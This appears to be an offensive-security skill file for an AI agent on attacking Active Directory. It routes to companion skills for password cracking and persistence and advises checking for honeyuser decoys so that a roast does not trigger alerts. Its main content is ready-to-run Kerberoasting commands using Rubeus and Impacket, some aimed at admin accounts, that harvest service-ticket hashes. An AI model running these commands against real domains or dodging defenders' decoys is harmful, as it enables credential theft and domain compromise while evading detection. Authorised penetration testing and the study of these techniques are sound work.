attacking-active-directory

Attacking Active Directory

When to Use

• AD reconnaissance and enumeration
• Kerberos-based attacks
• Credential dumping from domain controllers
• Lateral movement within domains
• BloodHound attack path analysis
• Domain persistence techniques

When NOT to Use

• Non-Windows / Linux-only environments — use enumerating-network-services
• Cracking the hashes you collected — use cracking-passwords
• Post-domain-compromise persistence — use establishing-persistence
• Entra ID / Azure AD as the primary target — use exploiting-cloud-platforms
• Detecting these attacks defensively — use engineering-detections

A privileged, Kerberoastable account with no logon history is a classic honeyuser: roasting it raises a high-fidelity alert. Check recognizing-deception before roasting an account that looks too convenient.

Route to a Depth Skill

Several AD escalation families are deep enough to have their own procedure skill. When enumeration points at one of these, switch to it — the general methodology here does not carry the tool-specific detail they do.

Signal	Skill
The target is Entra ID / Azure AD, tokens, PRTs, or hybrid-identity sync	exploiting-cloud-platforms

The domain methodology below (Kerberoasting, DCSync, lateral movement) still applies; these skills specialize a single step of it and hand back here.

Kerberoasting

Windows:

# Check kerberoastable users
.\Rubeus.exe kerberoast /stats

# Roast all
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.txt

# Target admins only
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap

Linux:

# Impacket GetUserSPNs
GetUserSPNs.py -request -dc-ip 10.10.10.10 domain.local/user:password -outputfile hashes.txt

# With NT hash
GetUserSPNs.py -request -dc-ip 10.10.10.10 -hashes :ntlmhash domain.local/user -outputfile hashes.txt

# Target specific user
GetUserSPNs.py -request-user svc_mssql -dc-ip 10.10.10.10 domain.local/user:password